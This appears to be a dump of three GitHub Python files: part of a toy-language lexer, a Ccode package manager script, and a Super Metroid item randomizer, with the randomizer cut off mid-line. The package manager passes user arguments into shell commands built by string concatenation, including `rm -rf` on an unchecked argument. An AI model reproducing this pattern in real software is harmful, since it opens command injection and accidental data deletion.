Token.KEYWORD\n elif id_str in Token.DATA_TYPES:\n token_type = Token.DATA_TYPE\n else:\n token_type = Token.IDENTIFIER\n return Token(token_type, id_str, pos_start)\n\n def set_default_values(self, tokens):\n length = len(tokens)-1\n if length > 0:\n data_type = tokens[length].value\n if data_type in Token.DATA_TYPES:\n pos_start = self.pos.copy()\n data_value = None\n for token in reversed(tokens):\n if token.value == Token.VAR: break\n if token.type == Token.IDENTIFIER:\n if data_value == None and tokens[length+1].type != Token.EQ:\n tokens.insert(length+1, Token(Token.EQ, None, pos_start))\n if data_type == Token.INT:\n tokens.insert(length+2, Token(Token.INT, Number(0), pos_start))\n elif data_type == Token.FLOAT:\n tokens.insert(length+2, Token(Token.FLOAT, Number(0), pos_start))\n elif data_type == Token.BOOL:\n tokens.insert(length+2, Token(Token.BOOL, Token.FALSE, pos_start))\n else:\n tokens.insert(length+2, Token(Token.CHAR, String(\"\"), pos_start))\n else:\n if data_type != tokens[length+2].type:\n return [], tokens[length].value\n data_value = None\n elif token.type in Token.DATA_TYPES:\n data_value = token.value\n length -= 1\n return tokens, None\n\n def make_equals(self):\n token_type = Token.EQ\n pos_start = self.pos.copy()\n self.advance()\n\n if self.current_char == '=':\n self.advance()\n token_type = Token.EE\n\n return Token(token_type, pos_start=pos_start)\n\n def make_less_than_or_not_equals(self):\n token_type = Token.LT\n pos_start = self.pos.copy()\n self.advance()\n\n if self.current_char == '=':\n self.advance()\n token_type = Token.LTE\n elif self.current_char == '>':\n self.advance()\n token_type = Token.NE\n\n return Token(token_type, pos_start=pos_start)\n\n def make_greater_than(self):\n token_type = Token.GT\n pos_start = self.pos.copy()\n self.advance()\n\n if self.current_char == '=':\n self.advance()\n token_type = Token.GTE\n\n return Token(token_type, pos_start=pos_start)\n\n def skip_comment(self):\n pos_start = self.pos.copy()\n\n self.advance()\n\n while self.current_char != ';':\n self.advance()\n\n self.advance()\n\n return Token(Token.COMMENT, pos_start=pos_start)","repo_name":"johnlibron/cfpl","sub_path":"programming_language/lexical/lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":9413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"74255145634","text":"import os\nimport urllib.request as internet\nimport distutils.spawn\nimport sys\nimport platform\n\n\ndef is_tool(name):\n return distutils.spawn.find_executable(name) is not None\ndef connected(url = \"https://google.com\", timeout = 3):\n try:\n internet.urlopen(url, timeout=timeout)\n return True\n except:\n return False\n\n\n# basic setup and checking\nos.chdir(os.path.abspath(os.path.dirname(__file__)))\nif platform.system() == \"Windows\":\n raise OSError(\"Don't run on Windows!\")\nif not os.path.exists(os.path.expanduser(\"~\") + \"/Ccode\"):\n raise OSError(\"Ccode language is not installed!\")\nif not is_tool(\"git\"):\n raise OSError(\"Git is not installed\")\nif not os.path.exists(\"pack-list\"):\n os.system(\"git clone --depth 1 -q https://github.com/Ccode-lang/pack-list\")\nif not connected():\n raise OSError(\"No internet connection\")\n\npackfile = open(\"pack-list/list.txt\")\npacks = packfile.readlines()\npackfile.close()\n\n\ndef help():\n print(\"python reppack.py \")\n print(\"python reppack.py remove \")\n print(\"python reppack.py refresh\")\n print(\"\\n\\nFor more info go to https://github.com/Ccode-lang/Ccode/wiki/package-manager\")\n quit()\n\n\n\nif len(sys.argv) < 2:\n help()\ninstalled = False\nfor pack in packs:\n if sys.argv[1] == \"remove\" or sys.argv[1] == \"refresh\":\n installed = True\n break\n #data reader\n pack_ = pack.strip()\n pack = pack.strip().split(\"^\")\n if pack_ == \"\" or pack_.startswith(\"$\"):\n # comments\n continue\n elif pack[0].strip() == sys.argv[1]:\n os.chdir(os.path.expanduser(\"~\") + \"/Ccode/lib\")\n if os.path.exists(sys.argv[1]):\n installed = True\n print(\"Already installed!\")\n break\n os.system(\"git clone --depth 1 -q \" + pack[1].strip())\n print(\"Package installed!\")\n installed = True\n break\n\nif not installed:\n print(\"Package not found!\")\n\nif sys.argv[1] == \"refresh\":\n os.chdir(\"pack-list\")\n os.system(\"git pull -q\")\n os.chdir(\"..\")\n\nif sys.argv[1] == \"remove\":\n os.chdir(os.path.expanduser(\"~\") + \"/Ccode/lib\")\n if os.path.exists(sys.argv[2]):\n os.system(\"rm -rf \" + sys.argv[2])\n print(\"Removed\")\n else:\n print(\"Package not found!\")\n","repo_name":"Ccode-archives/reppack","sub_path":"reppack.py","file_name":"reppack.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"31211190450","text":"from typing import List, Set\nfrom dataclasses import dataclass\nfrom enum import Enum\nimport numpy as np\nimport random\nimport json\nimport graph_tool\nimport graph_tool.topology\nimport copy\nimport math\nfrom logic.rooms.all_rooms import rooms\nfrom rando.sm_json_data import SMJsonData, GameState, Link, DifficultyConfig\nimport logging\n\n\nclass ItemPlacementStrategy(Enum):\n OPEN = 'open'\n SEMI_CLOSED = 'semi-closed'\n CLOSED = 'closed'\n\n\n#\n# @dataclass\n# class RoomPlacement:\n# ptr: int\n# x: int\n# y: int\n#\n#\n# @dataclass\n# class AreaPlacement:\n# id: int\n# x: int\n# y: int\n# rooms: List[RoomPlacement]\n#\n#\n# @dataclass\n# class ItemPlacement:\n# ptr: int\n# plm_type: int\n#\n#\n# class DoorColor(Enum):\n# BLUE = 0 # Or in general, no PLM (e.g., for transitions without a door, e.g. a sand or tube)\n# PINK = 1\n# YELLOW = 2\n# GREEN = 3\n# UNDETERMINED = 4 # Only used for temporary state during randomization\n#\n# @dataclass\n# class DoorPlacement:\n# is_vertical: bool\n# color: DoorColor # Must be blue if either side of the door is blue in the vanilla game (since we don't want to deal with adding new PLMs)\n# # For door to the right/down:\n# first_exit_ptr: int\n# first_entrance_ptr: int\n# first_plm_ptr: int\n# # For door to the left/up:\n# second_exit_ptr: int\n# second_entrance_ptr: int\n# second_plm_ptr: int\n#\n#\n# @dataclass\n# class GamePlacement:\n# areas: List[AreaPlacement]\n# doors: List[DoorPlacement]\n# items: List[ItemPlacement]\n\nclass Randomizer:\n def __init__(self, map, sm_json_data: SMJsonData, difficulty: DifficultyConfig,\n item_placement_strategy: ItemPlacementStrategy):\n self.map = map\n self.sm_json_data = sm_json_data\n self.difficulty = difficulty\n self.item_placement_strategy = item_placement_strategy\n\n door_edges = []\n for conn in map['doors']:\n (src_room_id, src_node_id) = sm_json_data.door_ptr_pair_dict[tuple(conn[0])]\n (dst_room_id, dst_node_id) = sm_json_data.door_ptr_pair_dict[tuple(conn[1])]\n for i in range(2 ** sm_json_data.num_obstacles_dict[src_room_id]):\n src_vertex_id = sm_json_data.vertex_index_dict[(src_room_id, src_node_id, i)]\n dst_vertex_id = sm_json_data.vertex_index_dict[\n (dst_room_id, dst_node_id, 0)] # 0 because no obstacles cleared on room entry\n door_edges.append((src_vertex_id, dst_vertex_id))\n if conn[2]:\n for i in range(2 ** sm_json_data.num_obstacles_dict[dst_room_id]):\n src_vertex_id = sm_json_data.vertex_index_dict[(src_room_id, src_node_id, 0)]\n dst_vertex_id = sm_json_data.vertex_index_dict[(dst_room_id, dst_node_id, i)]\n door_edges.append((dst_vertex_id, src_vertex_id))\n self.door_edges = door_edges\n\n item_ptr_dict = {} # maps item nodeAddress to index into item_ptr_list\n item_ptr_list = [] # list of unique item nodeAddress\n flag_list = [\n 'f_ZebesAwake',\n 'f_MaridiaTubeBroken',\n 'f_ShaktoolDoneDigging',\n 'f_UsedAcidChozoStatue',\n 'f_DefeatedBotwoon',\n 'f_DefeatedCrocomire',\n 'f_DefeatedSporeSpawn',\n 'f_DefeatedGoldenTorizo',\n 'f_DefeatedKraid',\n 'f_DefeatedPhantoon',\n 'f_DefeatedDraygon',\n 'f_DefeatedRidley',\n ]\n self.flag_dict = {flag_name: i for i, flag_name in enumerate(flag_list)}\n vertex_item_idx = [-1 for _ in range(len(self.sm_json_data.vertex_list))]\n vertex_flag_idx = [-1 for _ in range(len(self.sm_json_data.vertex_list))]\n for (room_id, node_id), v in self.sm_json_data.target_dict.items():\n is_item = isinstance(v, int)\n if is_item:\n if v in item_ptr_dict:\n idx = item_ptr_dict[v]\n else:\n idx = len(item_ptr_list)\n item_ptr_list.append(v)\n item_ptr_dict[v] = idx\n else:\n if v in self.flag_dict:\n idx = self.flag_dict[v]\n else:\n idx = None\n\n for i in range(2 ** self.sm_json_data.num_obstacles_dict[room_id]):\n vertex_id = self.sm_json_data.vertex_index_dict[(room_id, node_id, i)]\n if is_item:\n vertex_item_idx[vertex_id] = idx\n elif idx is not None:\n vertex_flag_idx[vertex_id] = idx\n self.vertex_item_idx = np.array(vertex_item_idx)\n self.vertex_flag_idx = np.array(vertex_flag_idx)\n self.flag_list = flag_list\n self.item_ptr_list = item_ptr_list\n\n self.initial_items_remaining_dict = {\n \"Missile\": 46,\n \"Super\": 10,\n \"PowerBomb\": 10,\n \"ETank\": 14,\n \"ReserveTank\": 4,\n \"Bombs\": 1,\n \"Charge\": 1,\n \"Ice\": 1,\n \"HiJump\": 1,\n \"SpeedBooster\": 1,\n \"Wave\": 1,\n \"Varia\": 1,\n \"Gravity\": 1,\n \"Plasma\": 1,\n \"Grapple\": 1,\n \"SpaceJump\": 1,\n \"ScrewAttack\": 1,\n \"Morph\": 1,\n \"SpringBall\": 1,\n \"XRayScope\": 1,\n \"Spazer\": 1,\n }\n\n # For now, don't place Reserve Tanks during progression because the logic won't handle them correctly\n # with refills (We could resolve this by just making Energy Refills also refill reserves? Though also\n # what about the Baby drain?). We'll want to fix this if G-mode or R-mode strats get put into the\n # logic.\n self.progression_item_set = set(self.initial_items_remaining_dict.keys())\n self.progression_item_set.remove('ReserveTank')\n\n self.spoiler_route = []\n self.spoiler_summary = []\n\n def get_bireachable_targets(self, state):\n # Get list of bireachable items and flags (indexes into `self.item_ptr_list` and `self.flag_list`), meaning\n # ones where we can reach the node and return back to the current node, and where the target has not yet\n # been collected.\n graph = self.sm_json_data.get_graph(state, self.difficulty, self.door_edges)\n forward_reach, forward_route_data = self.sm_json_data.compute_reachable_vertices(state, graph)\n reverse_reach, reverse_route_data = self.sm_json_data.compute_reachable_vertices(state, graph, reverse=True)\n max_resources = np.array(\n [state.max_energy,\n state.max_missiles,\n state.max_super_missiles,\n state.max_power_bombs],\n dtype=np.int16)\n vertices_reachable = np.all(forward_reach >= 0, axis=1)\n vertices_bireachable = np.all((forward_reach + reverse_reach) >= max_resources, axis=1)\n reachable_vertices = np.nonzero(vertices_reachable)[0]\n bireachable_vertices = np.nonzero(vertices_bireachable)[0]\n bireachable_items = self.vertex_item_idx[bireachable_vertices]\n bireachable_items = bireachable_items[bireachable_items >= 0]\n bireachable_items = np.unique(bireachable_items)\n reachable_items = self.vertex_item_idx[reachable_vertices]\n reachable_items = reachable_items[reachable_items >= 0]\n reachable_items = np.unique(reachable_items)\n flags = self.vertex_flag_idx[bireachable_vertices]\n flags = flags[flags >= 0]\n flags = np.unique(flags)\n debug_data = (bireachable_vertices, reachable_vertices, forward_route_data, reverse_route_data)\n return bireachable_items, reachable_items, flags, debug_data\n\n def select_items(self, num_bireachable, num_oneway_reachable, item_precedence, items_remaining_dict,\n attempt_num):\n num_items_to_place = num_bireachable + num_oneway_reachable\n filtered_item_precedence = [item_name for item_name in item_precedence\n if items_remaining_dict[item_name] == self.initial_items_remaining_dict[item_name]]\n num_key_items_remaining = len(filtered_item_precedence)\n num_items_remaining = sum(n for k, n in items_remaining_dict.items())\n if self.item_placement_strategy in [ItemPlacementStrategy.SEMI_CLOSED, ItemPlacementStrategy.CLOSED]:\n num_key_items_to_place = 1\n else:\n num_key_items_to_place = int(\n math.ceil(num_key_items_remaining / num_items_remaining * num_items_to_place))\n if num_items_remaining - num_items_to_place < 20:\n num_key_items_to_place = num_key_items_remaining\n num_key_items_to_place = min(num_key_items_to_place, num_bireachable, num_key_items_remaining)\n if num_key_items_to_place - 1 + attempt_num >= num_key_items_remaining:\n return None, None, None\n assert num_key_items_to_place >= 1\n key_items_to_place = filtered_item_precedence[:(num_key_items_to_place - 1)] + [\n filtered_item_precedence[num_key_items_to_place - 1 + attempt_num]]\n assert len(key_items_to_place) == num_key_items_to_place\n\n new_items_remaining_dict = items_remaining_dict.copy()\n for item_name in key_items_to_place:\n new_items_remaining_dict[item_name] -= 1\n\n num_other_items_to_place = num_items_to_place - num_key_items_to_place\n item_types_to_mix = ['Missile']\n item_types_to_delay = []\n\n if self.item_placement_strategy == ItemPlacementStrategy.OPEN:\n item_types_to_mix = ['Missile', 'ETank', 'Super', 'PowerBomb']\n item_types_to_delay = []\n elif self.item_placement_strategy == ItemPlacementStrategy.SEMI_CLOSED:\n item_types_to_mix = ['Missile', 'ETank']\n item_types_to_delay = []\n if items_remaining_dict['Super'] < self.initial_items_remaining_dict['Super']:\n item_types_to_mix.append('Super')\n else:\n item_types_to_delay.append('Super')\n if items_remaining_dict['PowerBomb'] < self.initial_items_remaining_dict['PowerBomb']:\n item_types_to_mix.append('PowerBomb')\n else:\n item_types_to_delay.append('PowerBomb')\n elif self.item_placement_strategy == ItemPlacementStrategy.CLOSED:\n item_types_to_mix = ['Missile']\n if items_remaining_dict['PowerBomb'] < self.initial_items_remaining_dict['PowerBomb'] and \\\n items_remaining_dict['Super'] == self.initial_items_remaining_dict['Super']:\n item_types_to_delay = ['ETank', 'PowerBomb', 'Super']\n else:\n item_types_to_delay = ['ETank', 'Super', 'PowerBomb']\n assert set(item_types_to_mix + item_types_to_delay) == {'Missile', 'ETank', 'Super', 'PowerBomb'}\n\n items_to_mix = [item_name for item_name in item_types_to_mix for _ in range(new_items_remaining_dict[item_name])]\n items_to_delay = [item_name for item_name in item_types_to_delay for _ in range(new_items_remaining_dict[item_name])]\n key_items_to_delay = [item_name for item_name, cnt in new_items_remaining_dict.items() for _ in range(cnt)\n if item_name not in item_types_to_mix + item_types_to_delay]\n\n other_items = np.random.permutation(items_to_mix).tolist() + items_to_delay + key_items_to_delay\n other_items_to_place = other_items[:num_other_items_to_place]\n for item_name in other_items_to_place:\n new_items_remaining_dict[item_name] -= 1\n return key_items_to_place, other_items_to_place, new_items_remaining_dict\n\n def get_flag_vertex(self, flag_name, debug_data):\n # For a given item index, choose the first corresponding bireachable vertex ID\n flag_idx = self.flag_dict[flag_name]\n bireachable_vertices, reachable_vertices, forward_route_data, reverse_route_data = debug_data\n ind = np.nonzero(self.vertex_flag_idx[bireachable_vertices] == flag_idx)[0]\n assert ind.shape[0] > 0\n return bireachable_vertices[ind[0]]\n\n def get_item_vertex(self, item_idx, debug_data, use_bireachable: bool):\n # For a given item index, choose the first corresponding bireachable vertex ID\n bireachable_vertices, reachable_vertices, forward_route_data, reverse_route_data = debug_data\n if use_bireachable:\n vertices = bireachable_vertices\n else:\n vertices = reachable_vertices\n ind = np.nonzero(self.vertex_item_idx[vertices] == item_idx)[0]\n assert ind.shape[0] > 0\n return vertices[ind[0]]\n\n def get_flag_spoiler(self, flag_name, debug_data):\n vertex_id = self.get_flag_vertex(flag_name, debug_data)\n bireachable_vertices, reachable_vertices, forward_route_data, reverse_route_data = debug_data\n obtain_steps = self.sm_json_data.get_spoiler_steps(vertex_id, forward_route_data, self.map)\n return_steps = list(reversed(self.sm_json_data.get_spoiler_steps(vertex_id, reverse_route_data, self.map)))\n location = obtain_steps[-1]\n return {\n 'flag': flag_name,\n 'location': {\n 'area': location['area'],\n 'room': location['room'],\n 'node': location['node'],\n },\n 'obtain_route': obtain_steps,\n 'return_route': return_steps,\n }\n\n def get_item_spoiler(self, item_idx, item_name, debug_data):\n bireachable_vertices, reachable_vertices, forward_route_data, reverse_route_data = debug_data\n vertex_id = self.get_item_vertex(item_idx, debug_data, use_bireachable=True)\n obtain_steps = self.sm_json_data.get_spoiler_steps(vertex_id, forward_route_data, self.map)\n return_steps = list(reversed(self.sm_json_data.get_spoiler_steps(vertex_id, reverse_route_data, self.map)))\n location = obtain_steps[-1]\n return {\n 'item': item_name,\n 'location': {\n 'area': location['area'],\n 'room': location['room'],\n 'node': location['node'],\n },\n 'obtain_route': obtain_steps,\n 'return_route': return_steps,\n }\n\n def get_spoiler_items(self, newly_collected_key_item_idxs, newly_collected_non_key_item_idxs, item_placement_list, debug_data):\n spoiler_item_summary_list = []\n spoiler_item_details_list = []\n for i, item_idx in enumerate(newly_collected_key_item_idxs + newly_collected_non_key_item_idxs):\n item_name = item_placement_list[item_idx]\n assert item_name is not None\n spoiler_item = self.get_item_spoiler(item_idx, item_name, debug_data)\n # spoiler_item_details_list.append(spoiler_item)\n if i < len(newly_collected_key_item_idxs):\n spoiler_item_details_list.append(spoiler_item)\n spoiler_item_summary_list.append({\n 'item': spoiler_item['item'],\n 'location': spoiler_item['location'],\n })\n return spoiler_item_summary_list, spoiler_item_details_list\n\n def place_items(self, bireachable_item_idxs, other_item_idxs, key_item_names, other_item_names,\n item_placement_list):\n # TODO: if configured, implement logic to place key items at harder-to-reach locations?\n new_item_placement_list = item_placement_list.copy()\n bireachable_item_idxs = np.random.permutation(bireachable_item_idxs).tolist()\n item_names = key_item_names + other_item_names\n assert len(bireachable_item_idxs) + len(other_item_idxs) == len(key_item_names) + len(other_item_names)\n for idx, name in zip(bireachable_item_idxs + other_item_idxs, item_names):\n new_item_placement_list[idx] = name\n key_item_idxs = bireachable_item_idxs[:len(key_item_names)]\n non_key_item_idxs = bireachable_item_idxs[len(key_item_names):] + other_item_idxs\n return new_item_placement_list, key_item_idxs, non_key_item_idxs\n\n def collect_items(self, state: GameState, bireachable_item_idxs, item_placement_list, item_collected_list):\n state = copy.deepcopy(state)\n new_item_collected_list = item_collected_list.copy()\n for i in bireachable_item_idxs:\n item_name = item_placement_list[i]\n if item_name is None or item_collected_list[i]:\n # Skip if there is not yet an item at this location, or if it has already been collected\n continue\n new_item_collected_list[i] = True\n state.items.add(item_name)\n if item_name == 'Missile':\n state.max_missiles += 5\n state.current_missiles += 5\n elif item_name == 'Super':\n state.max_super_missiles += 5\n state.current_super_missiles += 5\n elif item_name == 'PowerBomb':\n state.max_power_bombs += 5\n state.current_power_bombs += 5\n elif item_name == 'ETank':\n state.num_energy_tanks += 1\n state.max_energy += 100\n state.current_energy = state.max_energy\n elif item_name == 'ReserveTank':\n state.num_reserves += 1\n state.max_energy += 100\n state.weapons = self.sm_json_data.get_weapons(state.items)\n return state, new_item_collected_list\n\n def step(self, state: GameState, item_placement_list, item_collected_list, item_precedence, items_remaining_dict, step_num,\n bireachable_item_idxs, reachable_item_idxs, flag_idxs, debug_data):\n state = copy.deepcopy(state)\n state.current_energy = state.max_energy\n state.current_missiles = state.max_missiles\n state.current_super_missiles = state.max_super_missiles\n state.current_power_bombs = state.max_power_bombs\n\n spoiler_flags_summary = []\n spoiler_flags_details = []\n while True:\n logging.info(\n f\"Step={step_num}, bireachable={len(bireachable_item_idxs)}, reachable={len(reachable_item_idxs)}, flags={len(flag_idxs)}\")\n any_new_flag = False\n for idx in flag_idxs:\n if self.flag_list[idx] not in state.flags:\n state.flags.add(self.flag_list[idx])\n flag_details = self.get_flag_spoiler(self.flag_list[idx], debug_data)\n spoiler_flags_details.append(flag_details)\n spoiler_flags_summary.append({\n 'flag': self.flag_list[idx],\n 'area': flag_details['location']['area'],\n })\n any_new_flag = True\n if not any_new_flag:\n break\n bireachable_item_idxs, reachable_item_idxs, flag_idxs, debug_data = self.get_bireachable_targets(state)\n\n attempt_num = 0\n reachable_item_idx_set = set(reachable_item_idxs)\n unplaced_bireachable_item_idxs = [i for i in bireachable_item_idxs if item_placement_list[i] is None]\n unplaced_bireachable_item_idx_set = set(unplaced_bireachable_item_idxs)\n assert len(unplaced_bireachable_item_idx_set) > 0\n unplaced_oneway_reachable_item_idxs = [i for i in reachable_item_idxs if item_placement_list[i] is None\n and i not in unplaced_bireachable_item_idx_set]\n while True:\n key_item_names, other_item_names, new_items_remaining_dict = self.select_items(\n len(unplaced_bireachable_item_idx_set),\n len(unplaced_oneway_reachable_item_idxs),\n item_precedence, items_remaining_dict, attempt_num)\n if key_item_names is None:\n # We have exhausted all key item placements attempts without success. Abort (and retry probably on new map)\n logging.info(\"Exhausted key item placements\")\n return None\n new_item_placement_list, key_item_idxs, non_key_item_idxs = self.place_items(unplaced_bireachable_item_idxs,\n unplaced_oneway_reachable_item_idxs, key_item_names,\n other_item_names, item_placement_list)\n new_state, new_item_collected_list = self.collect_items(state, bireachable_item_idxs, new_item_placement_list, item_collected_list)\n new_bireachable_item_idxs, new_reachable_item_idxs, new_flag_idxs, new_debug_data = self.get_bireachable_targets(new_state)\n if all(new_items_remaining_dict[item_name] != self.initial_items_remaining_dict[item_name]\n for item_name in self.progression_item_set):\n # All key items have been placed. Break out early.\n break\n if any(i not in reachable_item_idx_set for i in new_bireachable_item_idxs):\n # Success: the new items unlock at least one bireachable item location that wasn't reachable before.\n break\n # else:\n # logging.info(\"Failed {}\".format(key_item_names))\n attempt_num += 1\n\n newly_collected_item_set = set([i for i in range(len(item_collected_list)) if new_item_collected_list[i] and not item_collected_list[i]])\n newly_collected_key_item_idxs = [i for i in key_item_idxs if i in newly_collected_item_set]\n newly_collected_non_key_item_idxs = list(newly_collected_item_set.difference(set(newly_collected_key_item_idxs)))\n spoiler_items_summary, spoiler_items_details = self.get_spoiler_items(newly_collected_key_item_idxs, newly_collected_non_key_item_idxs, new_item_placement_list, debug_data)\n logging.info(\"Placing {}, {}\".format(key_item_names, other_item_names))\n\n spoiler_oneway_list = []\n # for item_idx in unplaced_oneway_reachable_item_idxs:\n # vertex_id = self.get_item_vertex(item_idx, debug_data, use_bireachable=False)\n # spoiler_oneway_list.append({\n # 'item': new_item_placement_list[item_idx],\n # 'location': self.sm_json_data.get_vertex_data(vertex_id, self.map),\n # })\n spoiler_details = {\n 'step': step_num,\n 'start_state': {\n 'max_energy': state.max_energy,\n 'max_missiles': state.max_missiles,\n 'max_supers': state.max_super_missiles,\n 'max_power_bombs': state.max_power_bombs,\n 'items': [item for item in sorted(state.items) if item not in [\"PowerBeam\", \"PowerSuit\"]],\n 'flags': list(sorted([flag for flag in state.flags if flag != 'f_TourianOpen'])),\n },\n 'flags': spoiler_flags_details,\n 'items': spoiler_items_details,\n # 'one_way_reachable_items': spoiler_oneway_list,\n }\n spoiler_summary = {\n 'step': step_num,\n 'flags': spoiler_flags_summary,\n 'items': spoiler_items_summary,\n }\n return new_state, new_item_placement_list, new_item_collected_list, new_items_remaining_dict, new_bireachable_item_idxs, new_reachable_item_idxs, new_flag_idxs, new_debug_data, spoiler_summary, spoiler_details\n\n def finish(self, item_placement_list, items_remaining_dict):\n item_placement_list = item_placement_list.copy()\n items_remaining_list = [item_name for item_name, cnt in items_remaining_dict.items() for _ in range(cnt)]\n logging.info(\"Finishing: Placing {}\".format(items_remaining_list))\n items_remaining_list = np.random.permutation(items_remaining_list).tolist()\n j = 0\n for i in range(len(item_placement_list)):\n if item_placement_list[i] is None:\n item_placement_list[i] = items_remaining_list[j]\n j += 1\n assert j == len(items_remaining_list)\n return item_placement_list\n\n def randomize(self):\n # TODO: Split this function into more manageable-sized pieces and clean up.\n initial_items = {\"PowerBeam\", \"PowerSuit\"}\n state = GameState(\n items=initial_items,\n flags={\"f_TourianOpen\"},\n weapons=self.sm_json_data.get_weapons(set(initial_items)),\n num_energy_tanks=0, # energy_tanks,\n num_reserves=0, # reserve_tanks,\n # We deduct 29 energy from the actual max energy, to ensure the game is beatable without ever dropping\n # below 29 energy. This allows us to simplify the logic by not needing to worry about shinespark strats\n # possibly failing because of dropping below 29 energy:\n max_energy=70, # + 100 * (energy_tanks + reserve_tanks),\n max_missiles=0, # missiles,\n max_super_missiles=0, # super_missiles,\n max_power_bombs=0, # power_bombs,\n current_energy=70,\n current_missiles=0, # missiles,\n current_super_missiles=0, # super_missiles,\n current_power_bombs=0, # power_bombs,\n vertex_index=self.sm_json_data.vertex_index_dict[(8, 5, 0)]) # Ship (Landing Site)\n item_placement_list = [None for _ in range(len(self.item_ptr_list))]\n item_collected_list = [False for _ in range(len(self.item_ptr_list))]\n items_remaining_dict = self.initial_items_remaining_dict.copy()\n item_precedence = np.random.permutation(sorted(self.progression_item_set)).tolist()\n\n bireachable_item_idxs, reachable_item_idxs, flag_idxs, debug_data = self.get_bireachable_targets(state)\n if len(bireachable_item_idxs) == 0:\n logging.info(\"No initial bireachable items\")\n return None\n\n spoiler_summary_list = []\n spoiler_details_list = []\n for step_number in range(1, 101):\n result = self.step(\n state, item_placement_list, item_collected_list, item_precedence, items_remaining_dict, step_number, bireachable_item_idxs,\n reachable_item_idxs, flag_idxs, debug_data)\n if result is None:\n return None\n state, item_placement_list, item_collected_list, items_remaining_dict, bireachable_item_idxs, reachable_item_idxs, flag_idxs, debug_data, spoiler_summary, spoiler_details = result\n spoiler_summary_list.append(spoiler_summary)\n spoiler_details_list.append(spoiler_details)\n if all(items_remaining_dict[item_name] != self.initial_items_remaining_dict[item_name]\n for item_name in self.progression_item_set):\n\n # while True:\n # logging.info(\n # f\"Finishing: bireach={len(bireachable_item_idxs)}, other={len(reachable_item_idxs)}, flags={len(flag_idxs)}\")\n # any_new_flag = False\n # for idx in flag_idxs:\n # if self.flag_list[idx] not in state.flags:\n # state.flags.add(self.flag_list[idx])\n # any_new_flag = True\n # if not any_new_flag:\n # break\n # bireachable_item_idxs, reachable_item_idxs, flag_idxs, debug_data = self.get_bireachable_targets(state)\n # logging.info(f\"items={sorted(state.items)}, flags={sorted(state.flags)}\")\n item_placement_list = self.finish(item_placement_list, items_remaining_dict)\n return item_placement_list, spoiler_summary_list, spoiler_details_list\n\n # spoiler_steps, spoiler_summary = self.sm_json_data.get_spoiler_entry(selected_target_index, route_data,\n # orig_state, state, collect_name,\n # step_number, int(\n # target_rank[selected_target_index]), self.map)\n # self.spoiler_route.append(spoiler_steps)\n # self.spoiler_summary.append(spoiler_summary)\n raise RuntimeError(\"Unexpected failure in item randomization\")\n\n# # # map_name = '12-15-session-2021-12-10T06:00:58.163492-0'\n# # map_name = '01-16-session-2022-01-13T12:40:37.881929-1'\n# # map_path = 'maps/{}.json'.format(map_name)\n# # # output_rom_path = 'roms/{}-b.sfc'.format(map_name)\n# # map = json.load(open(map_path, 'r'))\n#\n# import io\n# from maze_builder.types import reconstruct_room_data, Direction, DoorSubtype\n# from maze_builder.env import MazeBuilderEnv\n# import logic.rooms.all_rooms\n# import pickle\n# import torch\n# import logging\n#\n# logging.basicConfig(format='%(asctime)s %(message)s',\n# level=logging.INFO,\n# handlers=[logging.StreamHandler()])\n#\n#\n# class CPU_Unpickler(pickle.Unpickler):\n# def find_class(self, module, name):\n# if module == 'torch.storage' and name == '_load_from_bytes':\n# return lambda b: torch.load(io.BytesIO(b), map_location='cpu')\n# else:\n# return super().find_class(module, name)\n#\n#\n# device = torch.device('cpu')\n# session_name = '07-31-session-2022-06-03T17:19:29.727911.pkl-bk30-small'\n# session = CPU_Unpickler(open('models/{}'.format(session_name), 'rb')).load()\n# ind = torch.nonzero(session.replay_buffer.episode_data.reward >= 343)\n#\n#\n# #\n#\n# # print(torch.sort(torch.sum(session.replay_buffer.episode_data.missing_connects.to(torch.float32), dim=0)))\n# # print(torch.max(session.replay_buffer.episode_data.reward))\n#\n# def get_map(ind_i):\n# num_rooms = len(session.envs[0].rooms)\n# action = session.replay_buffer.episode_data.action[ind[ind_i], :]\n# step_indices = torch.tensor([num_rooms])\n# room_mask, room_position_x, room_position_y = reconstruct_room_data(action, step_indices, num_rooms)\n# rooms = logic.rooms.all_rooms.rooms\n#\n# doors_dict = {}\n# doors_cnt = {}\n# door_pairs = []\n# for i, room in enumerate(rooms):\n# for door in room.door_ids:\n# x = int(room_position_x[0, i]) + door.x\n# if door.direction == Direction.RIGHT:\n# x += 1\n# y = int(room_position_y[0, i]) + door.y\n# if door.direction == Direction.DOWN:\n# y += 1\n# vertical = door.direction in (Direction.DOWN, Direction.UP)\n# key = (x, y, vertical)\n# if key in doors_dict:\n# a = doors_dict[key]\n# b = door\n# if a.direction in (Direction.LEFT, Direction.UP):\n# a, b = b, a\n# if a.subtype == DoorSubtype.SAND:\n# door_pairs.append([[a.exit_ptr, a.entrance_ptr], [b.exit_ptr, b.entrance_ptr], False])\n# else:\n# door_pairs.append([[a.exit_ptr, a.entrance_ptr], [b.exit_ptr, b.entrance_ptr], True])\n# doors_cnt[key] += 1\n# else:\n# doors_dict[key] = door\n# doors_cnt[key] = 1\n#\n# assert all(x == 2 for x in doors_cnt.values())\n# map_name = '{}-{}'.format(session_name, ind_i)\n# map = {\n# 'rooms': [[room_position_x[0, i].item(), room_position_y[0, i].item()]\n# for i in range(room_position_x.shape[1] - 1)],\n# 'doors': door_pairs\n# }\n# num_envs = 1\n# env = MazeBuilderEnv(rooms,\n# map_x=session.envs[0].map_x,\n# map_y=session.envs[0].map_y,\n# num_envs=num_envs,\n# device=device,\n# must_areas_be_connected=False)\n# env.room_mask = room_mask\n# env.room_position_x = room_position_x\n# env.room_position_y = room_position_y\n# # env.render(0)\n# return map, map_name\n#\n#\n# sm_json_data_path = \"sm-json-data/\"\n# sm_json_data = SMJsonData(sm_json_data_path)\n#\n# difficulty_config = DifficultyConfig(\n# # tech=set(),\n# tech=sm_json_data.tech_name_set,\n# shine_charge_tiles=33,\n# energy_multiplier=1.0)\n# ind_i = 8\n# map, map_name = get_map(ind_i)\n# print(torch.all(session.replay_buffer.episode_data.door_connects[ind_i, :]) and torch.all(\n# session.replay_buffer.episode_data.missing_connects[ind_i, :]))\n#\n# randomizer = Randomizer(map, sm_json_data, difficulty=difficulty_config)\n# for i in range(1000):\n# target_mask, reach = randomizer.randomize()\n# L = len(randomizer.item_placement_list)\n# print(L)\n# if L > 90:\n# break\n#\n# def 